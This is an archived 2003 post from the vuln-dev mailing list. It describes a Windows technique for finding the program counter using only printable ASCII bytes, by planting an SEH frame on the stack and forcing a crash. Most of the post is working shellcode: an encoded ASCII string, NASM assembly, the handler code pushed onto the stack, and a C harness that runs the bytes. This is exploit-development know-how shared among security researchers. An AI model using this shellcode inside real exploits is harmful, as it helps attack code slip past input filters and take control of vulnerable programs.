[prev in list] [next in list] [prev in thread] [next in thread]
List: vuln-dev
Subject: Re: GetPC code (was: Shellcode from ASCII)
From: Costin Ionescu <costin.ionescu () fokus ! fraunhofer ! de>
Date: 2003-07-01 16:56:45
[Download RAW message or body]
I think I solved your 2nd challenge, but only under Windows. Under Linux
I don't know yet.
The idea: push some code on the stack, put a SEH frame also on the stack
(the frame
points to the code on the stack) and crash! by modifying at that f**kin'
NULL :-)
The code on the stack will receive control and will get the exception
address from parameters
passed to SEH function. ALL THIS ONLY WITH 20-7F bytes ( sorry, I *had*
to shout it out :) )
I've seen now that somebody on the list had a similar idea with this SEH...
Under linux I don't know anything similar to SEH in Windows. You could
set a signal handler for
SIGILL/SIGSEGV with sigaction and you can find out the crash address.
The problem is calling
the sigaction syscall which means int 80h ( CD 80 )... So no more 20-7F
bytes :-(
Anyway *EXTRA-ELLEGANT* solution given by noir !!!!!!!!!! WOW!!!
Now the short version:
T]hAAAAYQX-qpPP5/7``PQX-Q AA5^?
X\PQX-AA!A5d$(dPQX-AAQP5G10{PQX-Q@!A5{{,GPQX-Q@A!5{\$$PT[W)<$_W^d3>USWd1>d1&1&
(warning! the ^? above is 7Fh)
And the long version is
getpc.asm (nasm-like syntax):
bits 32
push esp
pop ebp ; store stack pointer before the dirty work
%include "stkcode.inc" ; push code on stack
push esp
pop ebx ; ebx = my SEH func
push edi
sub [esp], edi
pop edi ; edi = 0
push edi
pop esi ; esi = 0
xor edi, [fs:esi] ; edi = fs:[0]
push ebp ; store orig ESP
push ebx ; my SEH func
push edi ; old SEH frame
xor [fs:esi], edi ; fs:[0] = 0
xor [fs:esi], esp ; fs:[0] = esp (new SEH frame)
xor [esi], esp ; crash!
; put the exploit code here ! :-D
; the following code is to make a working test.c
push edi
pop eax
ret
Now stkcode.inc is generated to push on the stack (using 20-7Fh bytes).
The pushed code on the stack (which has all 00-FF opcodes now because is
generated)
looks like this:
bits 32
myseh:
mov ebx, [esp + 04h] ; ebx <- structure with exception info
mov edi, [ebx + 0Ch] ; oooo! ze Exception Address
inc edi ; ehmmm
inc edi ; skip that crashing instruction (2 bytes)
xor eax, eax
mov esp, [esp +08h] ; give back my stack!
pop dword [fs:eax] ; restore old SEH frame
pop eax ; this was the pointer to myseh
pop esp ; ahh! the clean stack
jmp edi ; go!
nop ;
nop ; make this code size multiple of 4 (so my tools work)
; of course this can be optimized
Now a quick test:
#include <stdio.h>
/* Last 3 bytes are to return from this "function" with the result code
the exploit address (meaning
* a pointer to these 3 bytes). The other bytes are in 20-7Fh range!!! */
char code[] = {
/* 0000 */ 0x54, 0x5D, 0x68, 0x41, 0x41, 0x41, 0x41, 0x59, 0x51, 0x58,
0x2D, 0x71, 0x70, 0x50, 0x50, 0x35,
/* 0010 */ 0x2F, 0x37, 0x60, 0x60, 0x50, 0x51, 0x58, 0x2D, 0x51, 0x20,
0x41, 0x41, 0x35, 0x7F, 0x20, 0x58,
/* 0020 */ 0x5C, 0x50, 0x51, 0x58, 0x2D, 0x41, 0x41, 0x21, 0x41, 0x35,
0x64, 0x24, 0x28, 0x64, 0x50, 0x51,
/* 0030 */ 0x58, 0x2D, 0x41, 0x41, 0x51, 0x50, 0x35, 0x47, 0x31, 0x30,
0x7B, 0x50, 0x51, 0x58, 0x2D, 0x51,
/* 0040 */ 0x40, 0x21, 0x41, 0x35, 0x7B, 0x7B, 0x2C, 0x47, 0x50, 0x51,
0x58, 0x2D, 0x51, 0x40, 0x41, 0x21,
/* 0050 */ 0x35, 0x7B, 0x5C, 0x24, 0x24, 0x50, 0x54, 0x5B, 0x57, 0x29,
0x3C, 0x24, 0x5F, 0x57, 0x5E, 0x64,
/* 0060 */ 0x33, 0x3E, 0x55, 0x53, 0x57, 0x64, 0x31, 0x3E, 0x64, 0x31,
0x26, 0x31, 0x26, 0x57, 0x58, 0xC3,
};
int main ()
{
void* (*p)();
p = (void* (*)())(&code[0]);
printf("full code = %p. exploit code = %p.\n", &code[0], p());
return (0);
}
Thoughts for Linux version:
I understood that at gs:0 there is a structure containing some thread
information. Maybe there is
also a map of signal handlers or anything else potentially usefull. If
someone knows better this
stuff maybe will help us.
I attached a rar archive with all the stuff necessary to test my idea.
The files are:
cc.bat <- a batch to call the C compiler (I tested with BC 5.5)
cdump.c <- dumps a binary file in a C-form
gen.c <- generates code only with 20-7F bytes that pushes on the
stack the data in the input file
getpc.asm <- main code
stkcode.asm <- stack code
stkcode.inc <- generated with gen.exe
getpc.h <- generated with cdump.exe
test.c <- ze damn test
You will need nasm to compile the asm files.
Greetingz,
ico
["getpc.rar" (application/octet-stream)]
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic